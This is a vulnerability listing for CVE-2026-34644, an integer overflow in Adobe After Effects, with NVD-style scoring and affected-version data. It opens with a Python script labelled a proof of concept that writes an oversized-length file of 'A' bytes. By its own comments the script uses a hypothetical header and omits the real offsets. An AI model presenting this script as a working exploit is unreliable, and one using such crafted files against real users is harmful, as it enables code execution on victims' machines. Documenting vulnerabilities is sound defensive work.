CVE-2026-34644

import struct # Proof of Concept for CVE-2026-34644 (Integer Overflow in Adobe After Effects) # This script generates a malicious file structure to trigger the overflow. # Note: Actual exploitation requires specific offsets within the file format. def create_malicious_file(filename): with open(filename, 'wb') as f: # Write hypothetical file header f.write(b'AfterEffects') # Trigger Integer Overflow: 0xFFFFFFFF + 1 wraps to 0x00000000 # Simulating a size field that the application increments malicious_size = 0xFFFFFFFF f.write(struct.pack('<I', malicious_size)) # Payload data intended to overflow the allocated buffer # Assuming allocation happens based on the overflowed size payload = b'A' * 5000 f.write(payload) print(f"[+] Malicious file '{filename}' generated for testing purposes.") if __name__ == "__main__": create_malicious_file("cve_2026_34644_poc.aep")

{"cve": {"id": "CVE-2026-34644", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:10.840", "lastModified": "2026-05-13T19:35:26.293", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "After Effects versions 26.0, 25.6.4 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:after_effects:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.6.5", "matchCriteriaId": "D4959152-FD14-4F5C-9D18-3B556EF207AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:after_effects:26.0:*:*:*:*:*:*:*", "matchCriteriaId": "EDD4903D-B357-4133-8BB1-D3A23D7319A8"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/after_effects/apsb26-48.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}